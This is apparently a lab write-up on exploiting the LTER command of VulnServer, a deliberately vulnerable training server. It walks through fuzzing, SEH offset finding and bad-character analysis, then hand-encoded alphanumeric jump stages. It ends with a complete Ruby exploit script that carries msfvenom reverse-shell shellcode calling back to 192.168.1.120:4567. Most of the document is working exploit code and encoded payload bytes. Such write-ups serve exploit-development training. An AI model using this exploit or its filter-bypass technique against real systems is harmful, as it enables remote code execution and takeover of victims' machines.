VulnServer: LTER with SEH override and alpha-numeric shellcode
We can fuzz the LTER command with the following
s_readline(); s_string("LTER "); s_string_variable("COMMAND");
We quickly experience the following crash:
We can easily reproduce this crash using the following PoC script:
#!/usr/bin/ruby require 'socket' target = '192.168.1.121' port = 9999 s = TCPSocket.open(target, port) s.puts('LTER /.:/' + 'A' * 5000) s.close()
To get a better understanding of the crash, we will send a unique string 5000 bytes long. We can generate the string using the following command:
msf-pattern_create -l 5000
We can paste the output into our script, in place of the buffer of A:
After crashing the service using this payload, we can use
!mona findmsp to get the offsets:
From the output we can see that the
nseh field is at offset 3495, followed by 28 bytes of my buffer. The next four bytes are the SEH handler. We can highlight our payload with different markers to see what happens with these memory locations. We change our PoC as follows:
#!/usr/bin/ruby require 'socket' target = '192.168.1.121' port = 9999 s = TCPSocket.open(target, port) # nseh offset at 3495 payload = "A" * 3495 payload += "BBBB" # pop pop ret in essfunc.dll at 0x625010b4 payload += "CCCC" payload += "D" * (5000 - payload.length) s.puts('LTER /.:/' + payload) s.close()
If we crash the service now and look at the SEH chain, we will see the following:
nseh record has been override by B, while the next four bytes of C have override the
SEH. If we pass the exception to the program, we can see that are our C that go to EIP:
And if we look at the stack, we see that the third entry is pointing at our buffer of B, in the
The first step is now to find a
pop pop ret sequence in memory, so that we can remove the first two entries and then return to our controlled buffer.
We can find a suitable address in memory using
We can pick the first address in the list and place it in our script in place of the B:
#!/usr/bin/ruby require 'socket' target = '192.168.1.121' port = 9999 s = TCPSocket.open(target, port) # nseh offset at 3495 payload = "A" * 3495 payload += "BBBB" # pop pop ret in essfunc.dll at 0x625010b4 payload += "\xb4\x10\x50\x62" payload += "D" * (5000 - payload.length) s.puts('LTER /.:/' + payload) s.close()
If we run this script against the target, VulnServer will crash. If we look again at the SEH chain we can see why this is happening:
The address has been changed:
B4 became a
62. This means that the application is filtering the input and we need to find out which characters can’t be used in our payload. In order to do so, we will send a payload containing all possible hexadecimal characters.
Mona has some useful functionalities to help us in the process. We can use the following command to generate the payload:
!mona bytearray -b "\x00\xb4"
We can exclude
\x00 because it’s always a bad characters (and we already faced this for other VulnServer exploits), and we can remove
\xb4 because we know it’s bad. The output will be as follows:
And we can paste this payload into our script, which will look as follows:
#!/usr/bin/ruby require 'socket' target = '192.168.1.121' port = 9999 s = TCPSocket.open(target, port) payload = "A" * 1000 payload += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"+ "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"+ "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"+ "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"+ "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"+ "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"+ "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"+ "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"+ "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"+ "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"+ "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"+ "\xb0\xb1\xb2\xb3\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"+ "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"+ "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"+ "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"+ "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" payload += "C" * (5000 - payload.length) s.puts('LTER /.:/' + payload) s.close()
Once we send this payload to the target, the application will crash and we can use another mona function to check the memory for badchars:
!mona compare -f bytearray.bin
This command will scan the memory and compare it with the file that it has previously saved. The output can be long, and interesting (for example it can be that your payload is copied unmodified somewhere else in memory, so you can avoid to cope with bad characters).
In this case, we want to check if our payload is correctly copied after our A.
We can follow the stack looking for our buffer, and we see that our payload with all possible characters is at the address 00b6f61d:
We can look for this specific address in mona’s output, we will find the following:
After this, I removed
\x80 from my payload and tried again, just to discover that it was basically the same. If we have a closer look at mona’s output, we see that characters in memory after
\x7f, are basically ignored and the first part of the series repeats itself. From
\xf7, these are all the characters we have.
We can already expect to have some manual encoding to do, because of the very little space we have available. But first, we need to find a suitable return address. We can have a look again at the output of
The third entry is composed by allowed charaters, and this is confirmed also by
mona, which takes care of let us know that address is an “ascii” address. We can use this address to override
SEH. The script will look as follows:
#!/usr/bin/ruby require 'socket' target = '192.168.1.121' port = 9999 s = TCPSocket.open(target, port) # nseh offset at 3495 payload = "A" * 3495 payload += "BBBB" # pop pop ret in essfunc.dll at 0x6250172b payload += "\x2b\x17\x50\x62" payload += "D" * (5000 - payload.length) s.puts('LTER /.:/' + payload) s.close()
We can set a breakpoint at our return address and have a look at the memory when our
pop pop ret sequence is executed.
Just before our return address, the last element of the stack points at our
nseh record, followed by the address with which we override
SEH and then a small buffer of D. Since the
ret instruction will move to EIP whatever is on top of the stack, the four bytes in the
nseh will be executed next.
Usually this would be a very easy jump. But the op code for a short unconditional jump is
EB, which is a forbidden character. Luckily for us we can use different conditional jumps. The problem with conditional jumps is that not necessarily we are able to create the condition for the jump to be taken.
My favorite way to test conditional jumps, is to take the return and then use the debugger to write the jump instruction.
When we write the instruction in the debugger, a small windows just below the code frame will tell us if the jump is taken or not. Find a jump that is taken from this list: http://www.unixwiz.net/techtips/x86-jumps.html.
In this case, a
JUMP IF NOT OVERFLOW (
JNO) is good for us, and its op code is
71 which is an allowed character. We can use that to jump after our SEH address.
It’s time to write our first stage payload. We have only 20 bytes, and we can’t jump back because jumps from
7f are positive jumps, so a jump back need to be encoded.
Since I have four bytes in the
nseh record, instead of jumping directly, I will use the first two bytes to store ESP in EAX, because EAX is easily modifiable with instructions within our allowed range. I will set the four bytes of the
nseh record as follows:
\x54 push ESP \x58 pop EAX \x71\x04 jump +4
After we execute these instructions, the memory of our program will look as follows:
Since we will have to
push our decoded instructions in memory, in a place where they will be executed, the first thing we have to do is to point ESP at the end of our buffer.
We have already moved ESP into EAX. EAX value is now
B6EE50, and our last byte of memory has address
B6FFFF. This means that I have to move ESP
0x11AF ahead. Unfortunately,
AF is not an allowed character. So I will have to encode this into more than one instruction.
Same goes with the relative jump back. This is the assembly code that will encode our instructions:
[BITS 32] global _start _start: ;--- aligning eax, adding 11AF add ax,0x1111 sub al,0x62 push eax pop esp ;--- jmp short -126, EB80 sub ax,0x7f14 push eax
We can add this instructions to our script:
#!/usr/bin/ruby require 'socket' target = '192.168.1.121' port = 9999 s = TCPSocket.open(target, port) # nseh offset at 3495 payload = "A" * 3495 # we move esp to eax, we jmp forward payload += "\x54\x58\x71\x04" # pop pop ret in essfunc.dll at 0x6250172b payload += "\x2b\x17\x50\x62" # sub encode from jmp-126.bin payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50" payload += "A" * (5000 - payload.length) s.puts('LTER /.:/' + payload) s.close()
And we can follow the execution of these instructions in the debugger:
pop esp instruction, EAX value gets correctly copied into ESP and this points to the end of our memory. This means that next time we will push something, this will copied just after our code.
Notice how, after the
push eax instructions, the value of EAX is pushed into the stack. The value is pushed reverse, this is why I only took care of setting the last two bytes of EAX and I didn’t care about the rest.
If we take the jump, we are sent 126 bytes behind the jump position, giving us enough space to encode a bigger jump backwards. This will require once again to align ESP to where we want our shellcode to be decoded. The following
asm code will do the job for us:
[BITS 32] global _start _start: ;--- saving first instruction position push esp pop eax sub ax,0x0428 push eax pop ecx ;--- aligning esp to decode jump, -0x20 push esp pop eax sub al,0x20 push eax pop esp ;--- jmp ecx encoded with Slink and eax, 0x554e4d4a and eax, 0x2a313235 add eax, 0x41416177 add eax, 0x41415266 add eax, 0x41416155 sub eax, 0x33333333 push eax
The two last blocks are just aligning ESP with our
nseh record and decoding a
jmp ecx in there. The first block is pointing ECX about a 1000 bytes behind, so that we will have enough space for our shellcode.
An important note: since we are using ECX to store our pointer, we can’t anymore use A as a padding, as A means
inc ecx, therefore it will alter our pointer. I will use
\x40 which is an
Our second stage jump script will look as follows:
#!/usr/bin/ruby require 'socket' target = '192.168.1.121' port = 9999 s = TCPSocket.open(target, port) # nseh offset at 3495 payload = "A" * 3400 # sub encode from jmp-ecx.bin payload += "\x54\x58\x66\x2d\x28\x04\x50\x59\x54\x58\x2c\x20\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x05\x77\x61\x41\x41\x05\x66\x52\x41\x41\x05\x55\x61\x41\x41\x2d\x33\x33\x33\x33\x50" payload += "\x40" * (3495 - payload.length) # we move esp to eax, we jmp forward payload += "\x54\x58\x71\x04" # pop pop ret in essfunc.dll at 0x6250172b payload += "\x2b\x17\x50\x62" # sub encode from jmp-126.bin payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50" payload += "A" * (5000 - payload.length) s.puts('LTER /.:/' + payload) s.close()
We can now crash the service and follows the execution.
pop ecx ECX is correctly pointing back in our buffer.
pop esp ESP is currently pointing at the first available byte before our
nseh record. And after we manipulate EAX and push it into the stack we can see that a proper jump to ECX (
\xFF\xE1) is pushed to the stack, ready to be executed:
The next thing we have to check, is where in our buffer of A we are actually jumping. We can reach the jump stepping through the instructions and check the memory addresses:
We can see that our jump will bring as at
B6FBD3, and if we scroll in the memory, we can find the beginning of our buffer of A at
B6F235. We can use a calculator to find out that our payload must be placed 2462 characters into our buffer.
We can now generate our payload with the following command:
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=seh -e x86/alpha_mixed BufferRegister=ECX -f ruby
BufferRegister=ECX is needed in our case, without it, the payload will have some non alpha-numeric characters, that it will use to find its location in memory and decode the shellcode correctly. But we can have only alpha-numerica characters, so we manually saved the location in ECX and pass this register as a parameter to our payload builder.
Unfortunately, if we just paste our payload into the script we will not get a shell. This because in order to decode our jumps, we played with the stack pointer, and the code for the reverse shell will push a lot into the stack and eventually override our code.
This is why we need to restore ESP to its original position, which was
B6EE50, while now is
B6FFD7. We need to bring it back
We need the following instructions to restore ESP position:
\x54 push esp \x58 pop eax \x66\x2d\x77\x11 sub ax,0x1177 \x2c\x10 sub al,0x10 \x50 push eax \x5c pop esp
But this instruction will move our shellcode ahead, and we need ECX to point at the beginning of our shellcode, so we need to realign ECX, and we can do it with the following instructions:
\x51 push ecx \x58 pop eax \x04\x10 add al,0x10 \x50 push eax \x59 pop ecx
Notice that we add
0x10, because we have to take into account also the instructions to realign ECX, so in total we have an offset of 16 bytes.
Our exploit will now look as follows:
#!/usr/bin/ruby require 'socket' target = '192.168.1.121' port = 9999 s = TCPSocket.open(target, port) # nseh offset at 3495 # payload offset at 2462 payload = "A" * 2462 # restoring ESP to original position payload += "\x54\x58\x66\x2d\x77\x11\x2c\x10\x50\x5c" # realigning ECX payload += "\x51\x58\x04\x10\x50\x59" # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=seh -e x86/alpha_mixed BufferRegister=ECX -f ruby payload += "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" + "\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41" + "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41" + "\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x6a\x48\x6b" + "\x32\x63\x30\x65\x50\x73\x30\x55\x30\x4e\x69\x4a\x45\x44" + "\x71\x4f\x30\x73\x54\x6e\x6b\x52\x70\x66\x50\x4e\x6b\x43" + "\x62\x56\x6c\x6c\x4b\x46\x32\x37\x64\x6c\x4b\x62\x52\x57" + "\x58\x74\x4f\x4c\x77\x53\x7a\x75\x76\x35\x61\x4b\x4f\x4c" + "\x6c\x37\x4c\x73\x51\x71\x6c\x43\x32\x64\x6c\x77\x50\x7a" + "\x61\x58\x4f\x64\x4d\x75\x51\x78\x47\x7a\x42\x79\x62\x53" + "\x62\x76\x37\x4c\x4b\x43\x62\x44\x50\x6c\x4b\x52\x6a\x57" + "\x4c\x6e\x6b\x42\x6c\x72\x31\x64\x38\x38\x63\x61\x58\x37" + "\x71\x38\x51\x52\x71\x6c\x4b\x71\x49\x31\x30\x53\x31\x78" + "\x53\x6e\x6b\x47\x39\x36\x78\x38\x63\x67\x4a\x70\x49\x4c" + "\x4b\x44\x74\x4c\x4b\x57\x71\x58\x56\x64\x71\x4b\x4f\x6e" + "\x4c\x69\x51\x78\x4f\x56\x6d\x63\x31\x6b\x77\x54\x78\x59" + "\x70\x51\x65\x49\x66\x76\x63\x61\x6d\x6a\x58\x35\x6b\x31" + "\x6d\x44\x64\x30\x75\x4b\x54\x66\x38\x4e\x6b\x71\x48\x45" + "\x74\x47\x71\x69\x43\x72\x46\x4e\x6b\x36\x6c\x30\x4b\x4e" + "\x6b\x66\x38\x65\x4c\x57\x71\x59\x43\x4e\x6b\x57\x74\x4e" + "\x6b\x67\x71\x58\x50\x6f\x79\x62\x64\x36\x44\x74\x64\x33" + "\x6b\x61\x4b\x75\x31\x30\x59\x51\x4a\x36\x31\x59\x6f\x79" + "\x70\x43\x6f\x33\x6f\x72\x7a\x6e\x6b\x37\x62\x4a\x4b\x6c" + "\x4d\x43\x6d\x52\x48\x35\x63\x54\x72\x63\x30\x35\x50\x50" + "\x68\x31\x67\x42\x53\x36\x52\x31\x4f\x43\x64\x32\x48\x70" + "\x4c\x31\x67\x55\x76\x33\x37\x6b\x4f\x4e\x35\x48\x38\x6e" + "\x70\x75\x51\x57\x70\x47\x70\x61\x39\x4f\x34\x62\x74\x66" + "\x30\x33\x58\x77\x59\x4d\x50\x52\x4b\x57\x70\x4b\x4f\x7a" + "\x75\x70\x50\x32\x70\x52\x70\x66\x30\x73\x70\x30\x50\x73" + "\x70\x56\x30\x72\x48\x68\x6a\x56\x6f\x79\x4f\x6b\x50\x39" + "\x6f\x68\x55\x6e\x77\x70\x6a\x63\x35\x33\x58\x49\x50\x39" + "\x38\x56\x61\x42\x58\x52\x48\x57\x72\x37\x70\x57\x61\x49" + "\x47\x6c\x49\x68\x66\x72\x4a\x34\x50\x42\x76\x46\x37\x63" + "\x58\x4e\x79\x4c\x65\x34\x34\x75\x31\x59\x6f\x39\x45\x4f" + "\x75\x49\x50\x73\x44\x34\x4c\x6b\x4f\x42\x6e\x76\x68\x32" + "\x55\x58\x6c\x31\x78\x4a\x50\x68\x35\x6f\x52\x70\x56\x6b" + "\x4f\x49\x45\x35\x38\x72\x43\x62\x4d\x51\x74\x45\x50\x4e" + "\x69\x7a\x43\x61\x47\x53\x67\x51\x47\x76\x51\x5a\x56\x30" + "\x6a\x76\x72\x66\x39\x50\x56\x4a\x42\x39\x6d\x61\x76\x39" + "\x57\x57\x34\x71\x34\x47\x4c\x63\x31\x36\x61\x6e\x6d\x43" + "\x74\x67\x54\x66\x70\x78\x46\x73\x30\x37\x34\x76\x34\x52" + "\x70\x50\x56\x76\x36\x76\x36\x42\x66\x76\x36\x70\x4e\x56" + "\x36\x36\x36\x62\x73\x56\x36\x32\x48\x31\x69\x68\x4c\x75" + "\x6f\x6d\x56\x59\x6f\x58\x55\x4e\x69\x6d\x30\x52\x6e\x53" + "\x66\x62\x66\x79\x6f\x50\x30\x55\x38\x37\x78\x4d\x57\x55" + "\x4d\x35\x30\x6b\x4f\x5a\x75\x6d\x6b\x69\x6e\x74\x4e\x30" + "\x32\x38\x6a\x35\x38\x6c\x66\x4d\x45\x6f\x4d\x6d\x4d\x59" + "\x6f\x78\x55\x47\x4c\x33\x36\x63\x4c\x55\x5a\x6f\x70\x79" + "\x6b\x49\x70\x52\x55\x37\x75\x6d\x6b\x32\x67\x44\x53\x54" + "\x32\x30\x6f\x61\x7a\x45\x50\x42\x73\x59\x6f\x59\x45\x41" + "\x41" payload += "A" * (3400 - payload.length) # sub encode from jmp-ecx.bin payload += "\x54\x58\x66\x2d\x28\x04\x50\x59\x54\x58\x2c\x20\x50\x5c\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x05\x77\x61\x41\x41\x05\x66\x52\x41\x41\x05\x55\x61\x41\x41\x2d\x33\x33\x33\x33\x50" payload += "\x40" * (3495 - payload.length) # we move esp to eax, we jmp forward payload += "\x54\x58\x71\x04" # pop pop ret in essfunc.dll at 0x6250172b payload += "\x2b\x17\x50\x62" # sub encode from jmp-126.bin payload += "\x66\x05\x11\x11\x2c\x62\x50\x5c\x66\x2d\x14\x7f\x50" payload += "A" * (5000 - payload.length) s.puts('LTER /.:/' + payload) s.close()
We can run the script and have a look at the memory just before our payload gets executed:
And if we let the program to continue…